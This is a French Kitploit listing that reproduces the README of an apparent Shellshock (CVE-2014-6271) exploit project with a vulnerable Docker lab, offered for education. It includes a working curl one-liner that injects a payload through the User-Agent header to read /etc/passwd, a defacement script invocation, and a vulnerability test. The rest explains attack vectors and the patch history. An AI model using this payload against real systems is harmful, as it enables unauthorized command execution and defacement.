Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
exploit-CVE-2014-6271 — Shellshock exploit + vulnerable environment | Kitploit
Outils/GitHubGitHub/opsxcq/exploit-cve-2014-6271
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubopsxcq/exploit-cve-2014-6271

exploit-CVE-2014-6271

Shellshock exploit + vulnerable environment

Voir le dépôt
23060il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

Logo

Exploit Shellshock + environnement vulnérable

Docker Pulls

Shellshock, également connu sous le nom de Bashdoor, est une famille de bugs de sécurité dans le shell Bash Unix largement utilisé, le premier ayant été divulgué le 24 septembre 2014. De nombreux services exposés sur Internet, comme certains déploiements de serveurs web, utilisent Bash pour traiter certaines requêtes, permettant à un attaquant de faire exécuter des commandes arbitraires par des versions vulnérables de Bash. Cela peut permettre à un attaquant d'obtenir un accès non autorisé à un système informatique.

Exécuter un environnement vulnérable

Vous aurez besoin de Docker pour exécuter l'environnement, rendez-vous sur docker.com et installez-le si vous ne l'avez pas encore.

Pour démarrer l'environnement vulnérable, exécutez simplement

root@kitploit:~
docker run --rm -it -p 8080:80 vulnerables/cve-2014-6271

Ouvrez votre navigateur et allez sur localhost:8080, si tout va bien vous verrez une page comme celle-ci

vulnerable

Exploitation

Il existe plusieurs façons d'exploiter cette faille

Exploitation en une ligne

Un exemple simple pour cat /etc/passwd

root@kitploit:~
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://localhost:8080/cgi-bin/vulnerable

Vous pouvez l'utiliser pour exécuter n'importe quelle commande de votre choix

Exploitation pour défiguration

Ceci est juste un exemple de code dans exploit-deface.sh, exécutez-le simplement contre l'image

root@kitploit:~
./exploit-deface.sh <ip> <port>

Par exemple si vous l'exécutez avec la commande fournie ci-dessus

root@kitploit:~
./exploit-deface.sh localhost 8080

Rafraîchissez simplement votre navigateur et vous verrez

Deface

Tester votre système

Exécutez simplement ce script bash sur votre système et vous verrez si vous êtes vulnérable ou non :

root@kitploit:~
env 'VAR=() { :;}; echo Bash is vulnerable!' 'FUNCTION()=() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"

Vecteurs d'exploitation

Serveur web basé sur CGI

Lorsqu'un serveur web utilise la Common Gateway Interface (CGI) pour traiter une requête de document, il transmet divers détails de la requête à un programme gestionnaire dans la liste des variables d'environnement. Par exemple, la variable HTTP_USER_AGENT a une valeur qui, en utilisation normale, identifie le programme envoyant la requête. Si le gestionnaire de requêtes est un script Bash, ou s'il en exécute un, par exemple en utilisant l'appel système system(3), Bash recevra les variables d'environnement transmises par le serveur et les traitera comme décrit ci-dessus. Cela offre un moyen à un attaquant de déclencher la vulnérabilité Shellshock avec une requête serveur spécialement conçue. La documentation de sécurité pour le serveur Apache largement utilisé indique : « Les scripts CGI peuvent ... être extrêmement dangereux s'ils ne sont pas soigneusement vérifiés. » et d'autres méthodes de traitement des requêtes du serveur web sont souvent utilisées. Il existe un certain nombre de services en ligne qui tentent de tester la vulnérabilité contre les serveurs web exposés à Internet.

Serveur OpenSSH

OpenSSH dispose d'une fonctionnalité « ForceCommand », où une commande fixe est exécutée lorsque l'utilisateur se connecte, au lieu d'exécuter simplement un shell de commandes sans restriction. La commande fixe est exécutée même si l'utilisateur a spécifié qu'une autre commande devait être exécutée ; dans ce cas, la commande d'origine est placée dans la variable d'environnement « SSH_ORIGINAL_COMMAND ». Lorsque la commande forcée est exécutée dans un shell Bash (si le shell de l'utilisateur est défini sur Bash), le shell Bash analysera la variable d'environnement SSH_ORIGINAL_COMMAND au démarrage et exécutera les commandes qui y sont intégrées. L'utilisateur a utilisé son accès restreint au shell pour obtenir un accès illimité au shell, en utilisant le bug Shellshock.

Clients DHCP

Certains clients DHCP peuvent également transmettre des commandes à Bash ; un système vulnérable pourrait être attaqué lors de la connexion à un réseau Wi-Fi ouvert. Un client DHCP demande et obtient généralement une adresse IP d'un serveur DHCP, mais il peut également recevoir une série d'options supplémentaires. Un serveur DHCP malveillant pourrait fournir, dans l'une de ces options, une chaîne conçue pour exécuter du code sur une station de travail ou un ordinateur portable vulnérable.

Serveur Qmail

Lors de l'utilisation de Bash pour traiter des messages électroniques (par exemple via .forward ou le piping qmail-alias), le serveur de messagerie qmail transmet des entrées externes d'une manière qui peut exploiter une version vulnérable de Bash.

Shell restreint IBM HMC

Le bug peut être exploité pour accéder à Bash à partir du shell restreint de l'IBM Hardware Management Console, une petite variante Linux pour les administrateurs système. IBM a publié un correctif pour résoudre ce problème.

Correctif

Jusqu'au 24 septembre 2014, le mainteneur de Bash Chet Ramey a fourni une version de correctif bash43-025 de Bash 4.3 traitant CVE-2014-6271, qui a déjà été empaquetée par les mainteneurs de distribution. Le 24 septembre, bash43-026 a suivi, traitant CVE-2014-7169. Ensuite, CVE-2014-7186 a été découvert. Florian Weimer de Red Hat a publié du code de correctif pour cela « officieusement » le 25 septembre, que Ramey a incorporé dans Bash sous le nom de bash43-027. Ces correctifs fournissaient uniquement du code, utile seulement pour ceux qui savent comment compiler (« reconstruire ») un nouveau fichier binaire exécutable Bash à partir du fichier de correctif et des fichiers de code source restants.

Le lendemain, Red Hat a officiellement présenté des mises à jour correspondantes pour Red Hat Enterprise Linux, après un autre jour pour Fedora 21. Canonical Ltd. a présenté des mises à jour pour ses versions Ubuntu Long Term Support le samedi 27 septembre ; le dimanche, il y avait des mises à jour pour SUSE Linux Enterprise. Le lundi et mardi suivants à la fin du mois, des mises à jour Apple OS X sont apparues.

Le 1er octobre 2014, Michał Zalewski de Google Inc. a finalement déclaré que le code de Weimer et bash43-027 avaient corrigé non seulement les trois premiers bugs mais aussi les trois restants qui ont été publiés après bash43-027, y compris ses propres deux découvertes. Cela signifie qu'après les premières mises à jour des distributions, aucune autre mise à jour n'a été nécessaire pour couvrir les six problèmes.

Avertissement

Ce programme ou les programmes précédents sont UNIQUEMENT à des fins éducatives. Ne les utilisez pas sans autorisation. La clause de non-responsabilité habituelle s'applique, en particulier le fait que moi (opsxcq) ne suis pas responsable des dommages causés par une utilisation directe ou indirecte des informations ou fonctionnalités fournies par ces programmes. L'auteur ou tout fournisseur d'accès Internet n'assume AUCUNE responsabilité quant au contenu ou à une mauvaise utilisation de ces programmes ou de tout dérivé de ceux-ci. En utilisant ces programmes, vous acceptez le fait que tout dommage (perte de données, crash système, compromission du système, etc.) causé par l'utilisation de ces programmes n'est pas de la responsabilité d'opsxcq.

Télécharger l’outil